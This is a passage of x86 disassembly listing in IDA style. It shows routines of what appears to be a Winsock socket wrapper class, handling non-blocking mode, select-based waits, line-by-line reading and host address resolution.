		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AB615Ah
		nop
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC0B50h
		nop
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	near ptr 71AB4519h
		nop
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F40
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F40
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		call	near ptr 27E0C04h
		nop
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F40
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E54
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
		mov	al, byte_4E8E54
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
		jnz	short loc_41B64E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
